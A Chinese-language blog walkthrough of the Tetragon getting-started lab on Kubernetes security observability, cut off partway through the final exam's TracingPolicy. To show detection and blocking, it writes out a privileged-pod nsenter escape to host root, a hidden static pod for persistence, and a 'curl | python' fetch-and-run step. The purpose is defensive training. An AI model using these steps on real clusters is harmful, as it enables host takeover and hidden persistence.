Cilium动手实验室: 精通之旅---24.Getting Started with Tetragon

Cilium动手实验室: 精通之旅---24.Getting Started with Tetragon

  • 1. LAB环境
    • 1.1 部署Tetragon
    • 1.2 小测验
  • 2. Host namespace
    • 2.1 启动特权 Pod
    • 2.2 来自 “sith-infiltrator” 的安全可观察性事件
    • 2.3 添加 TracingPolicy 以观察权限提升
    • 2.4 权限提升
    • 2.5 来自 nsenter 命令的 Security Observability 事件
  • 3. Maintain foothold
    • 3.1 跟踪策略
    • 3.2 添加 TracingPolicy 以检测不可见的 Pod
    • 3.3 创建不可见的 Pod
    • 3.4 安全可观察性事件
  • 4. 在内存中执行恶意 python 脚本
    • 4.1 有效负载执行
    • 4.2 安全可观察性事件
    • 4.3 小测验
  • 5. 实施安全策略
    • 5.1 文件监控实施
    • 5.2 观察
  • 6. 期末考试挑战
    • 6.1 考题
    • 6.2 解题

1. LAB环境

1.1 部署Tetragon

LAB环境地址

https://isovalent.com/labs/tetragon-getting-started/

Kind 集群是否正在运行:

root@server:~# kubectl get nodes
NAME                 STATUS   ROLES           AGE   VERSION
kind-control-plane   Ready    control-plane   37s   v1.31.0

安装开源的 Cilium Tetragon:

helm repo add cilium https://helm.cilium.io
helm repo update
helm install tetragon cilium/tetragon \
  -n kube-system -f tetragon.yaml --version 1.1.0

Cilium Tetragon 作为 daemonset 运行,它实现了 eBPF 逻辑,用于提取安全可观测性事件以及事件过滤、聚合和导出到外部事件收集器。

等待 Tetragon daemonset 成功推出。

root@server:~# kubectl rollout status -n kube-system ds/tetragon -w
daemon set "tetragon" successfully rolled out

为了能够从书中检测到 Real World Attack 场景,我们需要三个 Tracing 策略 TracingPolicy 是一个用户可配置的 Kubernetes 自定义资源定义 (CRD),它允许您跟踪内核中的任意事件并定义在匹配时要执行的作。

第一个 TracingPolicy 将用于监控网络事件和跟踪网络连接。在我们的例子中,我们将观察 tcp_connecttcp_close 和 kernel 函数来分别跟踪 TCP 连接的打开和关闭时间:

kubectl apply -f networking.yaml

确认networking.yaml的内容

root@server:~# yq networking.yaml 
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "networking"
spec:
  kprobes:
    - call: "tcp_connect"
      syscall: false
      args:
        - index: 0
          type: "sock"
    - call: "tcp_close"
      syscall: false
      args:
        - index: 0
          type: "sock"

现在,您可以通过执行以下命令开始检查 Security Observability 事件:

root@server:~# kubectl exec -n kube-system -ti daemonset/tetragon -c tetragon -- \
        tetra getevents -o compact
 connect kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:51604 -> 127.0.0.1:10257  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:51604 -> 127.0.0.1:10257  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:42484 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:42484 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:59278 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:59278 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:42486 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:42486 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:59280 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:59280 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:42488 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:42488 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:59286 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:59286 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:42498 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:42498 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:38526 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:38526 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:47014 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:47014 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:38528 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:38528 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:47024 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:47024 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:38534 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:38534 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:38542 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 172.18.0.2:38542 -> 172.18.0.2:6443  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:47036 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 127.0.0.1:47036 -> 127.0.0.1:2381  CAP_SYS_ADMIN
 connect kind-control-plane /usr/lib/systemd/systemd tcp 10.244.0.1:38090 -> 10.244.0.5:8081  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 10.244.0.1:38090 -> 10.244.0.5:8081  CAP_SYS_ADMIN
 close   kind-control-plane /usr/lib/systemd/systemd tcp 10.244.0.5:8081 -> 10.244.0.1:38090  CAP_SYS_ADMIN
 process kind-control-plane /usr/local/sbin/runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/d7635229fb11cf2ead36f74910430b3e40ce4a782331d742bdd6a7078c4c4a49/log.json --log-format json --systemd-cgroup exec --process /tmp/runc-process3379692412 --detach --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/d7635229fb11cf2ead36f74910430b3e40ce4a782331d742bdd6a7078c4c4a49/bdc598b256c0371bbaf964b9383a5642560cc1fe04fd836fb8bbb9424984c7f9.pid d7635229fb11cf2ead36f74910430b3e40ce4a782331d742bdd6a7078c4c4a49  CAP_SYS_ADMIN
 process kind-control-plane /proc/self/exe init           CAP_SYS_ADMIN
 process kind-control-plane /dev/fd/5 init                CAP_SYS_ADMIN
 exit    kind-control-plane /usr/local/sbin/runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/d7635229fb11cf2ead36f74910430b3e40ce4a782331d742bdd6a7078c4c4a49/log.json --log-format json --systemd-cgroup exec --process /tmp/runc-process3379692412 --detach --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/d7635229fb11cf2ead36f74910430b3e40ce4a782331d742bdd6a7078c4c4a49/bdc598b256c0371bbaf964b9383a5642560cc1fe04fd836fb8bbb9424984c7f9.pid d7635229fb11cf2ead36f74910430b3e40ce4a782331d742bdd6a7078c4c4a49 0  CAP_SYS_ADMIN
 exit    kind-control-plane /dev/fd/5 init 0     CAP_SYS_ADMIN

正如你所看到的,随着时间的推移,很多活动都会出现。我们将在下一次挑战中仔细研究它们。

1.2 小测验

√	Tetragon can be installed on Kubernetes with a Helm chart
×	Tetragon requires Cilium
×	Tetragon requires Hubble
√	On Kubernetes, Tetragon runs as a DaemonSet
√	Tetragon can be configured using TracingPolicy CRDs

2. Host namespace

2.1 启动特权 Pod

执行容器转义的最简单方法是在 pod 规范中使用 “privileged” 启动 pod。默认情况下,Kubernetes 允许这样做,并且 privileged 标志授予容器所有 Linux 功能和对主机命名空间的访问权限。hostPIDhostNetwork 标志分别在主机 PID 和网络命名空间中运行容器,因此它可以直接与节点上的所有进程和网络资源交互。

开始检查安全可观察性 事件。这次我们将专门寻找与名为 sith-infiltrator,将要执行攻击的位置。

kubectl exec -n kube-system -ti daemonset/tetragon -c tetragon \
  -- tetra getevents -o compact --pods sith-infiltrator

新窗口应用特权 pod 规范:

kubectl apply -f sith-infiltrator.yaml

确认配置内容

root@server:~# yq sith-infiltrator.yaml 
apiVersion: v1
kind: Pod
metadata:
  name: sith-infiltrator
  labels:
    org: empire
spec:
  hostPID: true
  hostNetwork: true
  containers:
    - name: sith-infiltrator
      image: nginx:latest
      ports:
        - containerPort: 80
      securityContext:
        privileged: true

等待它准备就绪:

root@server:~# kubectl get pods
NAME               READY   STATUS    RESTARTS   AGE
sith-infiltrator   1/1     Running   0          40s

2.2 来自 “sith-infiltrator” 的安全可观察性事件

您可以通过 Cilium Tetragon 生成的以下 process_execprocess_exit 事件来识别默认 Kubernetes 命名空间上的 sith-infiltrator 容器启动:

 process default/sith-infiltrator /usr/bin/find /docker-entrypoint.d/ -follow -type f -print  CAP_SYS_ADMIN
 process default/sith-infiltrator /usr/bin/sort -V        CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/find /docker-entrypoint.d/ -follow -type f -print 0  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/sort -V 0  CAP_SYS_ADMIN
 process default/sith-infiltrator /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh  CAP_SYS_ADMIN
 process default/sith-infiltrator /usr/bin/basename /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/basename /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh 0  CAP_SYS_ADMIN
 process default/sith-infiltrator /usr/bin/touch /etc/nginx/conf.d/default.conf  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/touch /etc/nginx/conf.d/default.conf 0  CAP_SYS_ADMIN

你可以看到 nginx 守护进程的默认配置文件编辑:

 process default/sith-infiltrator /usr/bin/sed -i -E "s,listen       80;,listen       80;\n    listen  [::]:80;," /etc/nginx/conf.d/default.conf  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/sed -i -E "s,listen       80;,listen       80;\n    listen  [::]:80;," /etc/nginx/conf.d/default.conf 0  CAP_SYS_ADMIN

由于 Pod 规范中将 privileged 标志设置为 true,因此 Pod 获得了所有 Linux 功能。

2.3 添加 TracingPolicy 以观察权限提升

确认配置内容

root@server:~# yq sys-setns.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "sys-setns"
spec:
  kprobes:
    - call: "sys_setns"
      syscall: true
      args:
        - index: 0
          type: "int"
        - index: 1
          type: "int"

应用 TracingPolicy

kubectl apply -f sys-setns.yaml

2.4 权限提升

在新窗口执行

kubectl exec -it sith-infiltrator -- /bin/bash

在原先的窗口可以看到

 process default/sith-infiltrator /bin/bash               CAP_SYS_ADMIN

在新窗口上让我们使用 nsenter 命令进入主机的命名空间,并以 root 身份在主机上运行 bash:

nsenter -t 1 -a bash

nsenter 命令执行指定命名空间中的命令。第一个标志 -t 定义命令将到达的目标命名空间。每台 Linux 计算机都运行一个 PID 为 1 的进程,该进程始终在主机命名空间中运行。其他命令行参数定义命令也要输入的其他命名空间,在本例中,-a 描述所有 Linux 命名空间,它们是:cgroupipcutsnetpidmnttime

因此,我们以各种可能的方式从容器中分离出来,并在主机上以 root 身份运行 bash 命令。

2.5 来自 nsenter 命令的 Security Observability 事件

我们可以通过观察 2 process_exec 和 7 process_kprobe 来识别这种容器逃逸。第一个 process_exec 事件是带有 namespace 命令行参数的 nsenter 命令:

 process default/sith-infiltrator /usr/bin/nsenter -t 1 -a bash  CAP_SYS_ADMIN

以下 7 个 process_kprobe 事件将观察每次内核命名空间更改时调用的 sys-setns 系统调用。这显示了我们如何进入 cgroupIPCUTSNETPIDMNTTIME 主机命名空间。

 setns   default/sith-infiltrator /usr/bin/nsenter cgroup          CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter ipc             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter uts             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter net             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter pid             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter mnt             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter time            CAP_SYS_ADMIN

通过观察第二个 process_exec 事件,我们可以检测以 nsenter 为父进程的 host 命名空间中的 bash 执行情况:

 process default/sith-infiltrator /usr/bin/bash           CAP_SYS_ADMIN

3. Maintain foothold

3.1 跟踪策略

Cilium Tetragon 提供了一个称为 TracingPolicy 的执行框架。TracingPolicy 是一个用户可配置的 Kubernetes 自定义资源定义 (CRD),它允许您跟踪内核中的任意事件并定义在匹配时要执行的作。

TracingPolicy 是完全 Kubernetes 身份感知的,因此它可以在 Pod 达到就绪状态后对任意内核事件和系统调用执行。这样,您就可以阻止容器运行时需要但在应用程序运行时受到限制的系统调用。您还可以对 TracingPolicy 进行更改,以动态更新内核中的 eBPF 程序,而无需重新启动应用程序或节点。

一旦 TracingPolicy 和相应的签名触发了事件,您就可以向安全分析师发送警报,或者通过向进程发送 SIGKILL 信号来阻止该行为。

3.2 添加 TracingPolicy 以检测不可见的 Pod

为了能够检测到创建不可见的 Pod,我们需要应用第三个 TracingPolicy。此 TracingPolicy 将用于监控对敏感文件的读写访问。在我们的例子中,我们将观察对 /etc/kubernetes/manifests 目录下的文件执行的 __x64_sys_write__x64_sys_read 系统调用。在新窗口,应用清单:

kubectl apply -f sys-write-etc-kubernetes-manifests.yaml

确认配置文件的内容:

root@server:~# yq sys-write-etc-kubernetes-manifests.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "file-write-etc-kubernetes-manifests"
spec:
  podSelector:
    matchLabels:
      org: empire
  options:
    - name: "disable-kprobe-multi"
      value: "1"
  kprobes:
    - call: "security_file_permission"
      syscall: false
      args:
        - index: 0
          type: "file" # (struct file *) used for getting the path
        - index: 1
          type: "int" # 0x04 is MAY_READ, 0x02 is MAY_WRITE
      selectors:
        - matchArgs:
            - index: 0
              operator: "Prefix"
              values:
                - "/etc/kubernetes/manifests"

3.3 创建不可见的 Pod

现在,让我们尝试在节点上创建 Foothold 和 Persistence。像以前一样监控生成的安全可观察性事件。

kubectl exec -n kube-system -ti daemonset/tetragon -c tetragon -- \
  tetra getevents -o compact --pods sith-infiltrator

新窗口将 kubectl exec 放入 sith-infiltrator

kubectl exec -it sith-infiltrator -- /bin/bash

进入节点后执行:

nsenter -t 1 -a bash

现在你已经可以不受限制地访问节点资源,让我们 cd/etc/kubernetes/manifests 中 目录并检查现有内容:

root@server:~# kubectl exec -it sith-infiltrator -- /bin/bash
root@kind-control-plane:/# nsenter -t 1 -a bash
root@kind-control-plane:/# cd /etc/kubernetes/manifests/
ls -la
total 28
drwxr-xr-x 1 root root 4096 Jun  5 08:38 .
drwxr-xr-x 1 root root 4096 Jun  5 08:38 ..
-rw------- 1 root root 2547 Jun  5 08:38 etcd.yaml
-rw------- 1 root root 3896 Jun  5 08:38 kube-apiserver.yaml
-rw------- 1 root root 3428 Jun  5 08:38 kube-controller-manager.yaml
-rw------- 1 root root 1463 Jun  5 08:38 kube-scheduler.yaml
root@kind-control-plane:/etc/kubernetes/manifests# 

然后放置一个自定义的隐藏 PodSpec:

cat << EOF > hack-latest.yaml
apiVersion: v1
kind: Pod
metadata:
  name: hack-latest
  hostNetwork: true
  # define in namespace that doesn't exist so
  # workload is invisible to the API server
  namespace: doesnt-exist
spec:
  containers:
  - name: hack-latest
    image: sublimino/hack:latest
    command: ["/bin/sh"]
    args: ["-c", "while true; do sleep 10;done"]
    securityContext:
      privileged: true
EOF

作为验证,让我们运行 crictl ps 并查看节点上正在运行新的容器 hack-latest。请注意,hack-latest 容器可能需要几秒钟才能显示出来:

crictl ps

运行后结果如下:

root@kind-control-plane:/etc/kubernetes/manifests# cat << EOF > hack-latest.yaml
apiVersion: v1
kind: Pod
metadata:
  name: hack-latest
  hostNetwork: true
  # define in namespace that doesn't exist so
  # workload is invisible to the API server
  namespace: doesnt-exist
spec:
  containers:
  - name: hack-latest
    image: sublimino/hack:latest
    command: ["/bin/sh"]
    args: ["-c", "while true; do sleep 10;done"]
    securityContext:
      privileged: true
EOF
root@kind-control-plane:/etc/kubernetes/manifests# crictl ps
CONTAINER           IMAGE               CREATED             STATE               NAME                      ATTEMPT             POD ID              POD
db3b0e90d48d0       e7ba4f2341d9d       24 seconds ago      Running             hack-latest               0                   d5bf6017f50db       hack-latest-kind-control-plane
2f2a41ac3beea       be69f2940aaf6       14 minutes ago      Running             sith-infiltrator          0                   672ec0d7bf4c0       sith-infiltrator
d7635229fb11c       f872779e5c74a       24 minutes ago      Running             tetragon                  0                   7ca7516297a4a       tetragon-92wts
2a18e7e589249       06608740b0dac       24 minutes ago      Running             tetragon-operator         0                   8ac8e121fa781       tetragon-operator-58967cbfd6-bszmh
6e7e355acff7c       acc4836f7b346       24 minutes ago      Running             export-stdout             0                   7ca7516297a4a       tetragon-92wts
628c4bc4aa37d       27444efca312d       25 minutes ago      Running             local-path-provisioner    0                   63d867b609ab9       local-path-provisioner-ccc7bf7fc-xdg9b
2e6cb03ac84bc       cbb01a7bd410d       25 minutes ago      Running             coredns                   0                   640578c544f1b       coredns-6f6b679f8f-tpclk
12ec26c3c89db       cbb01a7bd410d       25 minutes ago      Running             coredns                   0                   f7fca59cd17a1       coredns-6f6b679f8f-c4l95
bbae07c378e2a       50415e5d05f05       25 minutes ago      Running             kindnet-cni               0                   1bcf37826edde       kindnet-2zjqp
ad8166b931ca5       aa32fdc5fd8ef       25 minutes ago      Running             kube-proxy                0                   58dc92e1987f3       kube-proxy-7tzj5
f637bcc656538       2e96e5913fc06       25 minutes ago      Running             etcd                      0                   59a952a510750       etcd-kind-control-plane
6efbe41252da2       34127a45d246b       25 minutes ago      Running             kube-apiserver            0                   6a62fc00f557f       kube-apiserver-kind-control-plane
6daedbbfd4a8e       7638c5918bd4c       25 minutes ago      Running             kube-controller-manager   0                   0750085f2e917       kube-controller-manager-kind-control-plane
1d53ed0607ec0       7fca81e5b9fac       25 minutes ago      Running             kube-scheduler            0                   5f2806739f6f3       kube-scheduler-kind-control-plane

3.4 安全可观察性事件

已经将隐藏的 PodSpec 写入了 kubelet 的目录,你可以通过运行以下命令来验证新窗口中的 Kubernetes API 服务器是否对 Pod 不可见:

root@server:~# kubectl get pods --all-namespaces
NAMESPACE            NAME                                         READY   STATUS    RESTARTS   AGE
default              sith-infiltrator                             1/1     Running   0          15m
kube-system          coredns-6f6b679f8f-c4l95                     1/1     Running   0          26m
kube-system          coredns-6f6b679f8f-tpclk                     1/1     Running   0          26m
kube-system          etcd-kind-control-plane                      1/1     Running   0          26m
kube-system          kindnet-2zjqp                                1/1     Running   0          26m
kube-system          kube-apiserver-kind-control-plane            1/1     Running   0          26m
kube-system          kube-controller-manager-kind-control-plane   1/1     Running   0          26m
kube-system          kube-proxy-7tzj5                             1/1     Running   0          26m
kube-system          kube-scheduler-kind-control-plane            1/1     Running   0          26m
kube-system          tetragon-92wts                               2/2     Running   0          25m
kube-system          tetragon-operator-58967cbfd6-bszmh           1/1     Running   0          25m
local-path-storage   local-path-provisioner-ccc7bf7fc-xdg9b       1/1     Running   0          26m

请注意,容器 hack-latest 在输出中不可见!

但是,它可以通过 Cilium Tetragon 来识别。通过监控最先的那个窗口Tetragon 的安全可观察性事件,您可以通过检测以下 process_exec 中使用 /usr/bin/cat 写入的 hack-latest.yaml 文件来及早识别持久性 和 process_kprobe 事件:

 process default/sith-infiltrator /usr/bin/cat            CAP_SYS_ADMIN
 write   default/sith-infiltrator /usr/bin/cat /etc/kubernetes/manifests/hack-latest.yaml  CAP_SYS_ADMIN
 write   default/sith-infiltrator /usr/bin/cat /etc/kubernetes/manifests/hack-latest.yaml  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/cat  0  CAP_SYS_ADMIN

现在,我们实际上通过启动一个不可见的容器来持久化了突破,我们可以在内存中下载并执行一个永远不会接触磁盘的恶意脚本。

4. 在内存中执行恶意 python 脚本

4.1 有效负载执行

现在,您实际上已经通过启动一个不可见的容器来持久保存了突破,您可以在内存中下载并执行一个永远不会接触磁盘的恶意脚本。请注意,这个简单的 python 脚本可能是一种无文件恶意软件,使用传统的用户空间工具几乎无法检测到。

让我们像以前一样监控生成的安全可观察性事件。

kubectl exec -n kube-system -ti daemonset/tetragon -c tetragon -- \
  tetra getevents -o compact --pods sith-infiltrator

新开一个窗口,让我们进入 sith-infiltrator,然后再次访问该节点,并找到 hack-latest 容器的容器 ID,然后让我们将 crictl exec 放入不可见的容器中:

root@server:~# kubectl exec -it sith-infiltrator -- /bin/bash
root@kind-control-plane:/# nsenter -t 1 -a bash
root@kind-control-plane:/# CONT_ID=$(crictl ps --name hack-latest --output json | jq -r '.containers[0].id')
echo $CONT_ID
db3b0e90d48d04630c6fbee910f7c8b8470218d8324142f27ec041749c5ca5a0
root@kind-control-plane:/# crictl exec -it $CONT_ID /bin/bash
PRETTY_NAME="Alpine Linux v3.12"
root@hack-latest-kind-control-plane:~ [0]# 

在第一个窗口的日志中,第一个 process_exec 事件显示了容器 ID 为 (例如 24220f07dacc) 的容器中的 bash 执行,该容器是不可见的 hack-latest 容器。

请注意,由于环形缓冲区/延迟原因,有时可能需要一两分钟才能显示某些日志消息!

 exit    default/sith-infiltrator /bin/bash  130  CAP_SYS_ADMIN
 process default/sith-infiltrator /usr/local/bin/crictl ps --name hack-latest --output json  CAP_SYS_ADMIN
 process default/sith-infiltrator /usr/bin/jq -r .containers[0].id  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/local/bin/crictl ps --name hack-latest --output json 0  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/jq -r .containers[0].id 0  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/bash  0  CAP_SYS_ADMIN
 process default/sith-infiltrator /bin/bash               CAP_SYS_ADMIN
 process default/sith-infiltrator /usr/local/bin/crictl exec -it db3b0e90d48d04630c6fbee910f7c8b8470218d8324142f27ec041749c5ca5a0 /bin/bash  CAP_SYS_ADMIN

为了能够细化来自 Cilium Tetragon 的安全可观察性事件,请开始监控与 窗口2 进程名称 curlpython 匹配的事件:

kubectl exec -n kube-system -ti daemonset/tetragon -c tetragon -- \
  tetra getevents -o compact --processes curl,python

下载恶意 python 脚本并在内存中执行它:

curl https://raw.githubusercontent.com/realpython/python-scripts/master/scripts/18_zipper.py | python

4.2 安全可观察性事件

通过使用 Cilium Tetragon,您可以跟踪攻击的最终动作。

在窗口2的日志中,process_exec 事件显示敏感的 curl 命令,其参数为 https://raw.githubusercontent.com/realpython/python-scripts/master/scripts/18_zipper.py

 process kind-control-plane /usr/bin/curl https://raw.githubusercontent.com/realpython/python-scripts/master/scripts/18_zipper.py  CAP_SYS_ADMIN
 process kind-control-plane /usr/bin/python               CAP_SYS_ADMIN

您还可以识别通过 curl 打开的敏感套接字连接,目标 IP 为 185.199.110.133,端口为 443

 connect kind-control-plane /usr/bin/curl tcp 10.244.0.6:44614 -> 185.199.110.133:443  CAP_SYS_ADMIN
 close   kind-control-plane /usr/bin/curl tcp 10.244.0.6:44614 -> 185.199.110.133:443  CAP_SYS_ADMIN

虽然以下 process_exit 事件显示内存中的恶意 python 脚本执行已完成,但退出代码为 0,这意味着它已成功:

 exit    kind-control-plane /usr/bin/curl https://raw.githubusercontent.com/realpython/python-scripts/master/scripts/18_zipper.py 0  CAP_SYS_ADMIN
 exit    kind-control-plane /usr/bin/python  0   CAP_SYS_ADMIN

4.3 小测验

√	Tetragon events can be viewed using the "tetra getevents" command
√	Tetragon has events of type "connect" to monitor network activity
×	Tetragon has events of type "linux" to monitor kernel activity
√	Tetragon events can be filtered by pod name

5. 实施安全策略

5.1 文件监控实施

在这种情况下,当攻击者设法将 hack-latest.yaml 文件写入节点上的 /etc/kubernetes/manifests 时,我们真的开始遇到麻烦。

编辑 sys-write-etc-kubernetes-manifests.yaml 清单并在 spec.kprobes.selectors 部分的末尾添加一个作,确保将其与 matchArgs 部分对齐!该政策现在应为:

root@server:~# yq sys-write-etc-kubernetes-manifests.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "file-write-etc-kubernetes-manifests"
spec:
  podSelector:
    matchLabels:
      org: empire
  options:
    - name: "disable-kprobe-multi"
      value: "1"
  kprobes:
    - call: "security_file_permission"
      syscall: false
      args:
        - index: 0
          type: "file" # (struct file *) used for getting the path
        - index: 1
          type: "int" # 0x04 is MAY_READ, 0x02 is MAY_WRITE
      selectors:
        - matchArgs:
            - index: 0
              operator: "Prefix"
              values:
                - "/etc/kubernetes/manifests"
          matchActions:
            - action: Override
              argError: -1

这将调用内核以读取或写入文件 /etc/kubernetes/manifests 失败。

matchActions 部分可用于指定 Tetragon 在事件发生时应应用的作。它采取了各种可能的措施,其中包括:

  • Sigkill 立即终止进程
  • Override 覆盖函数返回参数
  • Signal 向流程发送信号
  • GetUrl 向已知 URL 发送 GET 请求

在此示例中,我们将使用 Override 作。

更新策略:

kubectl apply -f sys-write-etc-kubernetes-manifests.yaml

5.2 观察

现在让我们观察一下这个新策略的结果。

kubectl exec -n kube-system -ti daemonset/tetragon -c tetragon -- \
  tetra getevents -o compact --pods sith-infiltrator

在新窗口sith-infiltrator pod 中再次执行一个 shell:

root@server:~# kubectl exec -it sith-infiltrator -- /bin/bash
root@kind-control-plane:/# nsenter -t 1 -a bash
root@kind-control-plane:/# cd /etc/kubernetes/manifests/
ls -la
total 32
drwxr-xr-x 1 root root 4096 Jun  6 01:04 .
drwxr-xr-x 1 root root 4096 Jun  6 01:03 ..
-rw------- 1 root root 2547 Jun  6 01:03 etcd.yaml
-rw-r--r-- 1 root root  384 Jun  6 01:04 hack-latest.yaml
-rw------- 1 root root 3896 Jun  6 01:03 kube-apiserver.yaml
-rw------- 1 root root 3428 Jun  6 01:03 kube-controller-manager.yaml
-rw------- 1 root root 1463 Jun  6 01:03 kube-scheduler.yaml
root@kind-control-plane:/etc/kubernetes/manifests# 

检查窗口1的输出打印

 process default/sith-infiltrator /usr/bin/nsenter -t 1 -a bash  CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter cgroup          CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter ipc             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter uts             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter net             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter pid             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter mnt             CAP_SYS_ADMIN
 setns   default/sith-infiltrator /usr/bin/nsenter time            CAP_SYS_ADMIN
 process default/sith-infiltrator /usr/bin/bash           CAP_SYS_ADMIN
 process default/sith-infiltrator /usr/bin/ls -la         CAP_SYS_ADMIN
 read    default/sith-infiltrator /usr/bin/ls /etc/kubernetes/manifests  CAP_SYS_ADMIN
 exit    default/sith-infiltrator /usr/bin/ls -la 2  CAP_SYS_ADMIN

您可以看到 ls -la 命令返回状态为 2

类似的规则可以写入:

  • 按命令名称阻止二进制执行(例如,为了避免 curl
  • 阻止允许访问 host 命名空间的原始 NS 转义

6. 期末考试挑战

6.1 考题

在本次考试挑战中,您的任务是监控集群中的事件并查找特殊事件。

  1. 您的第一个任务是开始检查第一个终端中的 Security Observability 事件,过滤与 sith-infiltrator pod 相关的事件。您可以使用 shell 历史记录再次查找该命令。请注意,在您按下 Check 按钮之前,不会显示任何事件。
  2. 设置完成后,单击 Check 按钮。这将为您提供一条失败消息,并在 Pod 上触发命令。检查 Tetragon 日志并确定在 Pod 中执行的命令。
  3. 接下来,将此命令(格式为 /usr/bin/XXX /etc/YYYYYY) 写入 编辑器选项卡中的 answer.txt 文件。
  4. 最后,再次单击 Check按钮,您应该可以开始了!

6.2 解题

  1. 编辑TracingPolicy
root@server:~# yq sys-write-etc.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "file-write-etc"
spec:
  podSelector:
    matchLabels:
      org: empire
  options:
    - name: "disable-kprobe-multi"
      value: "1"
  kprobes:
    - call: "security_file_permission"
      syscall: false
      args:
        - index: 0
          type: "file" # (struct file *) used for getting the path
        - index: 1
          type: "int" # 0x04 is MAY_READ, 0x02 is MAY_WRITE
      selectors:
        - matchArgs:
